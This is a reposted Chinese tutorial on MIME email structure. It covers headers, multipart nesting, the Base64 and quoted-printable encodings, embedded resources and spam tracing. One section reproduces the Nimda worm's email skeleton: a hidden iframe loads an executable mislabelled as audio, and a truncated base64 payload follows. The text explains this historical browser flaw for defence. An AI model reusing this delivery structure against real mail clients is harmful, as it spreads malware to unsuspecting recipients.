csdn技術(shù)中心 mime郵件面面觀

昵稱323 2005-07-14

展開全文

Q 什么是MIME,？什么是MIME郵件,？

A MIME, 全稱為“Multipurpose Internet Mail Extensions”, 比較確切的中文名稱為“多用途互聯(lián)網(wǎng)郵件擴展”,。它是當(dāng)前廣泛應(yīng)用的一種電子郵件技術(shù)規(guī)范，基本內(nèi)容定義于RFC 2045-2049,。

自然,，MIME郵件就是符合MIME規(guī)范的電子郵件，或者說根據(jù)MIME規(guī)范編碼而成的電子郵件,。

在MIME出臺之前,，使用RFC 822只能發(fā)送基本的ASCII碼文本信息，郵件內(nèi)容如果要包括二進制文件,、聲音和動畫等,，實現(xiàn)起來非常困難。MIME提供了一種可以在郵件中附加多種不同編碼文件的方法,，彌補了原來的信息格式的不足,。實際上不僅僅是郵件編碼，現(xiàn)在MIME經(jīng)成為HTTP協(xié)議標(biāo)準(zhǔn)的一個部分,。

下面舉幾個MIME郵件的例子,，讓我們先對MIME編碼的格式有個直觀的印象。例1是最簡單的,，只帶純文本正文,，基本上就是RFC 822格式；例2復(fù)雜一些,，包含純文本和超文本正文,；例3是最復(fù)雜的，包含純文本正文,、超文本正文,、內(nèi)嵌資源和文件附件。其中,，行號和行號后的空格是為了分析方便而另外加的,，“... ... ... ...”表示此處省略了大段編碼。

例1

   1 Date: Thu, 18 Apr 2002 09:32:45 +0800
   2 From: <[email protected]>
   3 To: <[email protected]>
   4 Subject: Test
   5 Mime-Version: 1.0
   6 Content-Type: text/plain; charset="iso-8859-1"
   7
   8 This is a simple mail.
   9

例2

   1 From: "bhw98" <[email protected]>
   2 Reply-To: [email protected]
   3 To: <[email protected]>
   4 Subject: Re: help
   5 X-Mailer: Foxmail 4.2 [cn]
   6 Mime-Version: 1.0
   7 Content-Type: multipart/alternative;
   8  boundary="=====002_Dragon307572345230_====="
   9
  10
  11 This is a multi-part message in MIME format.
  12
  13 --=====002_Dragon307572345230_=====
  14 Content-Type: text/plain; charset="GB2312"
  15 Content-Transfer-Encoding: quoted-printable
  16
  17 bluesky7810=A3=AC=C4=FA=BA=C3=A3=A1
  18
  19 =A1=A1=A1=A1=D4=DA=CF=C2=C6=AA=D7=EE=BA=F3=BF=C9=D2=D4=CF=C2=D4=D8=B0=A1=A3=AC=C4=E3
     ... ...  ... ...
  30 =A1=A1=A1=A1=A1=A1=A1=A1=A1=A1=A1=A1=A1=A1=A1=A1=A1=A1=A1=A1=A1=A1=A1=A1=A12003-04-07
  31
  32 --=====002_Dragon307572345230_=====
  33 Content-Type: text/html; charset="GB2312"
  34 Content-Transfer-Encoding: quoted-printable
  35
  36 <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">
  37 <HTML><HEAD>
  38 <META content=3D"text/html; charset=3Dgb2312"=
  39  http-equiv=3DContent-Type>
  40 <META content=3D"MSHTML 5.00.2920.0" name=3DGENERATOR>
     ... ...  ... ...
  79 </HTML>
  80
  81 --=====002_Dragon307572345230_=====--
  82

例3

   1 Return-Path: <[email protected]>
   2 Delivered-To: [email protected]
   3 Received: (qmail 75513 invoked by alias); 20 May 2002 02:19:53 -0000
   4 Received: from unknown (HELO bluesky) (61.155.118.135)
   5   by 202.106.187.143 with SMTP; 20 May 2002 02:19:53 -0000
   6 Message-ID: <007f01c3111c$742fec00$0100007f@bluesky>
   7 From: "=?gb2312?B?wLbAtrXEzOwNCg==?=" <[email protected]>
   8 To: "bhw98" <[email protected]>
   9 Cc: <[email protected]>
  10 Subject: =?gb2312?B?ztK1xLbgtK6/2rPM0PI=?=
  11 Date: Sat, 20 May 2002 10:03:36 +0800
  12 MIME-Version: 1.0
  13 Content-Type: multipart/mixed;
  14    boundary="----=_NextPart_000_007A_01C3115F.80DFC5E0"
  15 X-Priority: 3
  16 X-MSMail-Priority: Normal
  17 X-Mailer: Microsoft Outlook Express 5.00.2919.6700
  18 X-MimeOLE: Produced By Microsoft MimeOLE V5.00.2919.6700
  19
  20 This is a multi-part message in MIME format.
  21
  22 ------=_NextPart_000_007A_01C3115F.80DFC5E0
  23 Content-Type: multipart/related; type="multipart/alternative";
  24     boundary="----=_NextPart_001_007B_01C3115F.80DFC5E0"
  25
  26
  27 ------=_NextPart_001_007B_01C3115F.80DFC5E0
  28 Content-Type: multipart/alternative;
  29     boundary="----=_NextPart_002_007C_01C3115F.80DFC5E0"
  30
  31 ------=_NextPart_002_007C_01C3115F.80DFC5E0
  32 Content-Type: text/plain; charset="gb2312"
  33 Content-Transfer-Encoding: quoted-printable
  34
  35 bhw98, =C4=E3=BA=C3!
  36 =D5=E2=CA=C7=CE=D2=D0=B4=B5=C4=B6=E0=B4=AE=BF=DA=CD=A8=D0=C5=B5=C4=B3=CC=D0=
  37 =F2, =C7=EB=D6=B8=BD=CC!
  38
  39
  40 ------=_NextPart_002_007C_01C3115F.80DFC5E0
  41 Content-Type: text/html; charset="gb2312"
  42 Content-Transfer-Encoding: quoted-printable
  43
  44 <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">
  45 <HTML><HEAD><TITLE>=C7=E7=C0=CA</TITLE>
  46 <META content=3D"text/html; charset=3Dgb2312" http-equiv=3DContent-Type>
  47 <STYLE>BODY {
  48     COLOR: #0033cc; FONT-FAMILY: =CB=CE=CC=E5, Arial, Helvetica; FONT-SIZE: =
  49 9pt; MARGIN-LEFT: 10px; MARGIN-TOP: 25px
  50 }
  51 </STYLE>
  52 <META content=3D"MSHTML 5.00.2920.0" name=3DGENERATOR></HEAD>
  53 <BODY background=3Dcid:007901c3111c$72b978a0$0100007f@bluesky =
  54 bgColor=3D#ffffff>
  55 <DIV>
  56 <DIV>bhw98, =C4=E3=BA=C3!</DIV>
  57 <P>=D5=E2=CA=C7=CE=D2=D0=B4=B5=C4=B6=E0=B4=AE=BF=DA=CD=A8=D0=C5=B5=C4=B3=CC=
  58 =D0=F2, =C7=EB=D6=B8=BD=CC!</P></DIV>
  59 <P> </P></BODY></HTML>
  60
  61 ------=_NextPart_002_007C_01C3115F.80DFC5E0--
  62
  63 ------=_NextPart_001_007B_01C3115F.80DFC5E0
  64 Content-Type: image/jpeg; name="=?gb2312?B?x+fAyrGzvrAuSlBH?="
  65 Content-Transfer-Encoding: base64
  66 Content-ID: <007901c3111c$72b978a0$0100007f@bluesky>
  67
  68 /9j/4AAQSkZJRgABAgEASABIAAD/7QVoUGhvdG9zaG9wIDMuMAA4QklNA+0AAAAAABAASAAAAAEA
  69 AQBIAAAAAQABOEJJTQPzAAAAAAAIAAAAAAAAAAA4QklNBAoAAAAAAAEAADhCSU0nEAAAAAAACgAB
  70 AAAAAAAAAAI4QklNA/UAAAAAAEgAL2ZmAAEAbGZmAAYAAAAAAAEAL2ZmAAEAoZmaAAYAAAAAAAEA
     ... ...  ... ...
 169 RxVw98Vawq12xQ44q0cKtHFDWKGsKt4EtiuKt4q//9k=
 170
 171 ------=_NextPart_001_007B_01C3115F.80DFC5E0--
 172
 173 ------=_NextPart_000_007A_01C3115F.80DFC5E0
 174 Content-Type: application/msword; name="readme.doc"
 175 Content-Transfer-Encoding: base64
 176 Content-Disposition: attachment; filename="readme.doc"
 177
 178 0M8R4KGxGuEAAAAAAAAAAAAAAAAAAAAAPgADAP7/CQAGAAAAAAAAAAAAAAABAAAAJgAAAAAAAAAA
 179 EAAAKAAAAAEAAAD+////AAAAACUAAAD/////////////////////////////////////////////
 180 ////////////////////////////////////////////////////////////////////////////
     ... ...  ... ...
1688 AAAAAAAAAAAAAAAAAAA=
1689
1690 ------=_NextPart_000_007A_01C3115F.80DFC5E0
1691 Content-Type: application/x-zip-compressed;
1692     name="=?gb2312?B?tuC0rr/azajQxbXE1LTC6y56aXA=?="
1693 Content-Transfer-Encoding: base64
1694 Content-Disposition: attachment;
1695     filename="=?gb2312?B?tuC0rr/azajQxbXE1LTC6y56aXA=?="
1696
1697 UEsDBBQAAAAIAFKAoi7qOMOvLw0AAABWAAAUAAAAtuC0rr/azajQxbXE1LTC6y5kb2PtXHtwVNUZ
1698 /+4+kk3IQoAkBkRYQkSgbrKb7IYNEMwmm6ckG0jCI0boZneTbJJ9sNlAEsdOtFqd8Z846tQ6PhB1
1699 hrZTJoK0Vhgf1aGt4rMy6D8tdugfTjuOpcBIR9j+vvsIy4YkRNTRen87v/ud53cee+6557vn7L73
     ... ...  ... ...
3125 zajQxbXE1LTC6y5kb2NQSwUGAAAAAAEAAQBCAAAAYQ0AAA==
3126
3127 ------=_NextPart_000_007A_01C3115F.80DFC5E0--
3128

Q 在開始研究MIME郵件的時候,，如何得到這樣的源碼,？

A 一些功能比較完善的郵件客戶端軟件，如微軟的Outlook Express,，國產(chǎn)的Foxmail等，都提供了查看和保存郵件源碼(原始信息)的功能,。在Foxmail中,，選擇郵件列表右鍵菜單的“原始信息”進行查看,，主菜單的“文件-導(dǎo)出”進行保存。在Outlook Express中,，對應(yīng)的操作分別是“屬性”和“另存為”,。所保存的.eml文件，可以調(diào)用這些程序打開,。

Q 請介紹一下MIME郵件的組成,？

A 總體來說，MIME消息由消息頭和消息體兩大部分組成?，F(xiàn)在我們關(guān)注的是MIME郵件,，因此在以下的討論中姑且稱“消息”為“郵件”。在上面的例子中,，例1的1-6行,，例2的1—8行，例3的1-18行,，是郵件頭,；例1的8—9行，例2的10—82行,，例3的20—3128行,，是郵件體。郵件頭與郵件體之間以空行進行分隔,，如例1的第7行,，例2的第9行，例3的第19行,。郵件頭中不允許出現(xiàn)空行,。有一些郵件不能被郵件客戶端軟件識別，顯示的是原始碼,，就是因為首行是空行,。

郵件頭包含了發(fā)件人、收件人,、主題,、時間、MIME版本,、郵件內(nèi)容的類型等重要信息,。每條信息稱為一個域，由域名后加“: ”和信息內(nèi)容構(gòu)成,，可以是一行,，較長的也可以占用多行。域的首行必須“頂頭”寫,，即左邊不能有空白字符（空格和制表符）,；續(xù)行則必須以空白字符打頭,，且第一個空白字符不是信息本身固有的，解碼時要過濾掉,。如例2的7-8行,，例3的4-5行，13-14行,，分別屬于一個域,。

郵件體包含郵件的內(nèi)容，它的類型由郵件頭的“Content-Type”域指出,。常見的簡單類型有text/plain(純文本)和text/html(超文本),。

例2和例3中出現(xiàn)的multipart類型，是MIME郵件的精髓,。郵件體被分為多個段,，每個段又包含段頭和段體兩部分，這兩部分之間也以空行分隔,。常見的multipart類型有三種：multipart/mixed, multipart/related和multipart/alternative,。從它們的名稱，不難推知這些類型各自的含義和用處,。它們之間的層次關(guān)系可歸納為下圖所示：

+------------------------- multipart/mixed ----------------------------+
|                                                                      |
|  +----------------- multipart/related ------------------+            |
|  |                                                      |            |
|  |  +----- multipart/alternative ------+  +----------+  |  +------+  |
|  |  |                                  |  | 內(nèi)嵌資源 |  |  | 附件 |  |
|  |  |  +------------+  +------------+  |  +----------+  |  +------+  |
|  |  |  | 純文本正文 |  | 超文本正文 |  |                |            |
|  |  |  +------------+  +------------+  |  +----------+  |  +------+  |
|  |  |                                  |  | 內(nèi)嵌資源 |  |  | 附件 |  |
|  |  +----------------------------------+  +----------+  |  +------+  |
|  |                                                      |            |
|  +------------------------------------------------------+            |
|                                                                      |
+----------------------------------------------------------------------+

可以看出,，如果在郵件中要添加附件，必須定義multipart/mixed段,；如果存在內(nèi)嵌資源,，至少要定義multipart/related段；如果純文本與超文本共存,，至少要定義multipart/alternative段,。什么是“至少”？舉個例子說,，如果只有純文本與超文本正文,，那么在郵件頭中將類型擴大化，定義為multipart/related,，甚至multipart/mixed,，都是允許的。

multipart諸類型的共同特征是,，在段頭指定“boundary”參數(shù)字符串,，段體內(nèi)的每個子段以此串定界。所有的子段都以“--”+boundary行開始,，父段則以“--”+boundary+“--”行結(jié)束,。段與段之間也以空行分隔。在郵件體是multipart類型的情況下,，郵件體的開始部分(第一個“--”+boundary行之前)可以有一些附加的文本行,，相當(dāng)于注釋,，解碼時應(yīng)忽略。段間也可以有一些附加的文本行,，不會顯示出來，如果有興趣,，不妨驗證一下,。

結(jié)合boundary定界和multipart層次關(guān)系圖，我們分析一下例2和例3的郵件體層次與段嵌套關(guān)系,。

在例2中,，10-12行是附加文本行，13-82行是multipart/alternative型的段,，包含兩個子段：13-30行是純文本正文,，32-79行是超文本正文。

在例3中,，20-21行是附加文本行,，22-3127行是multipart/mixed型的段，包含3個子段：22-171行是multipart/related段,，173-1688行與1690-3125行是兩個附件,。multipart/related段又包含兩個子段：27-61行是multipart/alternative段，63-169行是一個內(nèi)嵌資源(圖片),。multipart/alternative段又包含兩個子段：31-48行是純文本正文,，40-59行是超文本正文。

例1只有純文本正文,，實際上屬于multipart層次關(guān)系圖中的一個特殊情況,。如果非要避簡就繁，寫成下面的形式,，也是完全符合MIME精神的,。

Date: Thu, 18 Apr 2002 09:32:45 +0800
From: <[email protected]>
To: <[email protected]>
Subject: Test
Mime-Version: 1.0
Content-Type: multipart/alternative; boundary="{[(^_^)]}"
  
--{[(^_^)]}
Content-Type: text/plain; charset="iso-8859-1"
Content-Transfer-Encoding: 7bit
 
This is a simple mail.
 
--{[(^_^)]}--

Q 在郵件頭和段頭中，有哪一些常見的域,？

A 在郵件頭中,，有很多從RFC 822沿用的域名，MIME也增加了一些,。常見的標(biāo)準(zhǔn)域名和含義如下

域名	含義	添加者
Received	傳輸路徑	各級郵件服務(wù)器
Return-Path	回復(fù)地址	目標(biāo)郵件服務(wù)器
Delivered-To	發(fā)送地址	目標(biāo)郵件服務(wù)器
Reply-To	回復(fù)地址	郵件的創(chuàng)建者
From	發(fā)件人地址	郵件的創(chuàng)建者
To	收件人地址	郵件的創(chuàng)建者
Cc	抄送地址	郵件的創(chuàng)建者
Bcc	暗送地址	郵件的創(chuàng)建者
Date	日期和時間	郵件的創(chuàng)建者
Subject	主題	郵件的創(chuàng)建者
Message-ID	消息ID	郵件的創(chuàng)建者
MIME-Version	MIME版本	郵件的創(chuàng)建者
Content-Type	內(nèi)容的類型	郵件的創(chuàng)建者
Content-Transfer-Encoding	內(nèi)容的傳輸編碼方式	郵件的創(chuàng)建者

非標(biāo)準(zhǔn)的,、自定義域名都以X-開頭，例如X-Mailer, X-MSMail-Priority等,，通常在接收和發(fā)送郵件的是同一程序時才能理解它們的意義,。

在段頭中，大致有如下一些域

域名	含義
Content-Type	段體的類型
Content-Transfer-Encoding	段體的傳輸編碼方式
Content-Disposition	段體的安排方式
Content-ID	段體的ID
Content-Location	段體的位置(路徑)
Content-Base	段體的基位置

有的域除了值之外,，還帶有參數(shù),。值與參數(shù),、參數(shù)與參數(shù)之間以“;”分隔。參數(shù)名與參數(shù)值之間以“=”分隔,。如例3的28-29行,，Content-Type域的值為“multipart/alternative”，此外有一個參數(shù)boundary,，值為"----=_NextPart_002_007C_01C3115F.80DFC5E0",。又如例3的第176行，Content-Disposition域的值為“attachment”,，此外有一個參數(shù)filename,，值為“readme.doc”。

Q Content-Type以及它們的參數(shù)有哪些形式,？

A Content-Type都是“主類型/子類型”的形式,。主類型有text, image, audio, video, application, multipart, message等，分別表示文本,、圖片,、音頻、視頻,、應(yīng)用,、分段、消息等,。每個主類型都可能有多個子類型,，如text類型就包含plain, html, xml, css等子類型。以X-開頭的主類型和子類型,，同樣表示自定義的類型,，未向IANA正式注冊，但大多已經(jīng)約定成俗了,。如application/x-zip-compressed是ZIP文件類型,。在Windows中，注冊表的“HKEY_CLASSES_ROOT\MIME\Database\Content Type”內(nèi)列舉了除multipart之外大部分已知的Content-Type,。

關(guān)于參數(shù)的形式,，RFC里有很多補充規(guī)定，有的允許帶幾個參數(shù),，較為常見的有

主類型	參數(shù)名	含義
text	charset	字符集
image	name	名稱
application	name	名稱
multipart	boundary	邊界

其中字符集也能在Windows注冊表的“HKEY_CLASSES_ROOT\MIME\Database\Charset”內(nèi)見到,。

Q Content-Transfer-Encoding有哪些？有什么特點,？

A Content-Transfer-Encoding共有Base64, Quoted-printable, 7bit, 8bit, Binary等幾種,。其中7bit是缺省的編碼方式。電子郵件源碼最初設(shè)計為全部是可打印的ASCII碼的形式。非ASCII碼的文本或數(shù)據(jù)要編碼成要求的格式,，如上面的三個例子,。Base64, Quoted-Printable是在非英語國家使用最廣使的編碼方式。Binary方式只具有象征意義,，而沒有任何實用價值,。

Base64將輸入的字符串或一段數(shù)據(jù)編碼成只含有{‘A‘-‘Z‘, ‘a(chǎn)‘-‘z‘, ‘0‘-‘9‘, ‘+‘, ‘/‘}這64個字符的串，‘=‘用于填充,。其編碼的方法是,，將輸入數(shù)據(jù)流每次取6 bit，用此6 bit的值(0-63)作為索引去查表,，輸出相應(yīng)字符。這樣,，每3個字節(jié)將編碼為4個字符(3×8 → 4×6),；不滿4個字符的以‘=‘填充。有的場合,，以“=?charset?B?xxxxxxxx?=”表示xxxxxxxx是Base64編碼,，且原文的字符集是charset。如例3第7行"=?gb2312?B?wLbAtrXEzOwNCg==?="是由簡體中文“藍藍的天”編碼而成的,。在段體內(nèi)則直接編碼,，適當(dāng)時機換行，MIME建議每行最多76個字符,。如例3的1697-3125行,，是一個ZIP文件的Base64編碼。

Quoted-printable根據(jù)輸入的字符串或字節(jié)范圍進行編碼,，若是不需編碼的字符,，直接輸出；若需要編碼,，則先輸出‘=‘,，后面跟著以2個字符表示的十六進制字節(jié)值。有的場合,，以“=?charset?Q?xxxxxxxx?=”表示xxxxxxxx是Quoted-printable編碼,，且原文的字符集是charset。在段體內(nèi)則直接編碼,，適當(dāng)時機換行,，換行前額外輸出一個‘=‘。如例3的44-59行,，是HTML文本的Quoted-printable編碼,。其中第45行“=C7=E7=C0=CA”原文是“晴朗”，因為“晴”的GB2312碼是C7E7，“朗”的GB2312碼是C0CA,。第48,、53、57行末尾只有孤零零的‘=‘,，表示這是由編碼造成的軟回車,，而非原文固有的。

近年來,，國內(nèi)多數(shù)郵件服務(wù)器已經(jīng)支持8bit方式,，因此只在國內(nèi)傳輸?shù)泥]件，特別是在郵件頭中,，可直接使用8bit編碼,，對漢字不做處理。如果郵件要出國,，還是老老實實地按Base64或Quoted-printable編碼才行,。

Q 什么是內(nèi)嵌資源？它有哪些形式,？

A 內(nèi)嵌資源也是MIME的一個發(fā)光點,，它能使郵件內(nèi)容變得生動活潑、豐富多彩,?？稍卩]件的multipart/related框架內(nèi)定義一些與正文關(guān)聯(lián)的圖片、動畫,、聲音甚至CSS樣式和腳本的段,。通常在HTML正文內(nèi)，使用超級鏈接與內(nèi)嵌資源相聯(lián)系,。如在例3中,，HTML正文53-54行，解碼后為

<BODY background=cid:007901c3111c$72b978a0$0100007f@bluesky bgColor=#ffffff>

它指出用一個Content-ID為007901c3111c$72b978a0$0100007f@bluesky的圖片作為背景(cid:xxxxxxxx也是一種超級鏈接),。而64-169行恰好就是這樣一個內(nèi)嵌資源,。

除了用Content-ID進行聯(lián)系外，還有另外一種常用形式：用普通超級連接和Content-Location,。例如：

在HTML正文中,，

... ...  ... ...
<IMG SRC="http://www.dangdang.com/images/all/anti_joyo_dm_book.gif">
... ...  ... ...
<IMG SRC="http://www.dangdang.com/dd2001/getimage_small.asp?id=486341">
... ...  ... ...

對應(yīng)的內(nèi)嵌資源為

Content-Type: image/gif; name="anti_joyo_dm_book.gif"
Content-Transfer-Encoding: base64
Content-Location: http://www.dangdang.com/images/all/anti_joyo_dm_book.gif
... ... ... ...
Content-Type: application/octet-stream; name="getimage_small.asp?id=486341"
Content-Transfer-Encoding: base64
Content-Location: http://www.dangdang.com/dd2001/getimage_small.asp?id=486341
... ... ... ...

另外，

Content-Location: http://www.dangdang.com/images/all/anti_joyo_dm_book.gif

與

Content-Location: anti_joyo_dm_book.gif
Content-Base: http://www.dangdang.com/images/all/

是等效的,。

Q 郵件病毒如何利用附件和內(nèi)嵌資源傳播,？

A 有的郵件附件可能帶有病毒，容易理解,。附件畢竟是文件,，也好預(yù)防,，不輕易打開就是了。但內(nèi)嵌資源是在瀏覽郵件內(nèi)容時就要訪問的,，若其中藏有病毒或惡意代碼,，你在不知不覺中就中招了。如前兩年曾經(jīng)在全球范圍內(nèi)流行的Nimda病毒,，功能性源碼如下：

MIME-Version: 1.0
Content-Type: multipart/related;
 type="multipart/alternative";
 boundary="====_ABC1234567890DEF_===="
 
--====_ABC1234567890DEF_====
Content-Type: multipart/alternative;
 boundary="====_ABC0987654321DEF_===="
 
--====_ABC0987654321DEF_====
Content-Type: text/html;
  charset="iso-8859-1"
Content-Transfer-Encoding: 7bit
 
<HTML><HEAD></HEAD><BODY bgColor=#ffffff>
<iframe src=cid:EA4DMGBP9p height=0 width=0>
</iframe></BODY></HTML>
--====_ABC0987654321DEF_====--
 
--====_ABC1234567890DEF_====
Content-Type: audio/x-wav; name="readme.exe"
Content-Transfer-Encoding: base64
Content-ID: <EA4DMGBP9p>
 
TVqQAAMAAAAEAAAA//8AALgAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAA2AAAAA4fug4AtAnNIbgBTM0hVGhpcyBwcm9ncmFtIGNhbm5vdCBiZSBydW4gaW4gRE9TIG1v
ZGUuDQ0KJAAAAAAAAAA11CFvcbVPPHG1TzxxtU88E6pcPHW1TzyZqkU8dbVPPJmqSzxytU88cbVO
... ...  ... ...  ... ...  ... ...
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA=
 
--====_ABC1234567890DEF_====

它將一個可執(zhí)行文件作為資源嵌入了框架型頁面,，卻聲明這段可執(zhí)行代碼是波形聲音類型。由于當(dāng)時微軟的IE(版本5.0及以下)存在重大安全漏洞,，沒有檢查Content-Type與name的擴展名是否匹配,，于是就被輕易騙過了，致使點選或打開郵件時自動運行了這個“readme.exe”,，機器就感染上病毒,。帶毒的機器利用地址簿向別人發(fā)送帶毒的郵件，一傳十,，十傳百,，Nimda蠕蟲大行其道。

縱觀歷史,，病毒剛出來時是厲害，但沒有任何一種能夠持續(xù)肆虐下去,。Nimda如此,，SARS亦當(dāng)如此。曰：“多難興邦,，眾志成城”,，又曰：“非典終將倒下，城市精神永存”,，相信我們定能很快戰(zhàn)勝“非典”!

病毒庫升級是跟在新病毒屁股后進行的,，不要過分依賴殺毒軟件。一個良好的習(xí)慣是關(guān)閉郵件預(yù)覽功能,，或者設(shè)定預(yù)覽純文本部分,，先查看郵件源碼，確信排除病毒嫌疑后再打開,。對陌生人發(fā)來的帶超文本正文的郵件,，尤其要當(dāng)心。永遠不要在郵件客戶端軟件內(nèi)直接打開附件,。

Q 一些垃圾郵件采取隱藏發(fā)件人的方式,，如何追查它們來自哪里？

A 從上面的郵件頭域名表中可以看出,，郵件的創(chuàng)建者可以掌握大部分的域的內(nèi)容,，但Received等域由各級服務(wù)器自動添加，發(fā)件人是鞭長莫及。垃圾郵件一般采用了群發(fā)軟件發(fā)送,，郵件頭的From域(發(fā)件人地址)可以任意偽造,，甚至寫成收件人地址(收到了自己并沒有發(fā)過的垃圾郵件，氣憤吧,？),。查看Received域(傳輸路徑)鏈可以找到真正的出處。每個服務(wù)器添加的Received語句都在郵件首,，故最下面一個Received就包含了發(fā)件人所用的SMTP或HTTP服務(wù)器,，及最初的網(wǎng)關(guān)外部IP地址。

Receive語句的基本格式是：from A by B,。A為發(fā)送方,，B為接收方。例如：

Received: (qmail 45304 invoked from network); 4 May 2003 17:05:47 -0000
Received: from unknown (HELO bjapp9.163.net) (202.108.255.197)
  by 202.106.182.244 with SMTP; 4 May 2003 17:05:47 -0000
Received: from localhost (localhost [127.0.0.1])
  by bjapp9.163.net (Postfix) with SMTP id E1C761D84C631
  for <[email protected]>; Mon,  5 May 2003 01:07:26 +0800 (CST)
Received: from [email protected] (unknown [211.99.162.194])
  by bjapp9.163.net (Coremail) with SMTP id OgEAAM1ItT7MNaLC.1
  for <[email protected]>; Mon, 05 May 2003 01:07:26 +0800 (CST)

從上面的例子中不難看出,，該郵件的傳輸路徑是：211.99.162.194 → bjapp9.163.net (Coremail 202.108.255.197?) → bjapp9.163.net (Postfix, 202.108.255.197?) → 202.106.182.244,。恰好出現(xiàn)了發(fā)件人郵箱[email protected]，但多數(shù)情況不一定能列出來,。

此例的localhost [127.0.0.1],，意味著bjapp9.163.net上安裝了郵件服務(wù)代理性質(zhì)的軟件。

本站是提供個人知識管理的網(wǎng)絡(luò)存儲空間,，所有內(nèi)容均由用戶發(fā)布,，不代表本站觀點。請注意甄別內(nèi)容中的聯(lián)系方式,、誘導(dǎo)購買等信息,，謹(jǐn)防詐騙。如發(fā)現(xiàn)有害或侵權(quán)內(nèi)容,，請點擊一鍵舉報,。

轉(zhuǎn)藏 分享

QQ空間 QQ好友新浪微博微信

獻花（0） +1

來自：昵稱323 > 《IT》

舉報/認(rèn)領(lǐng)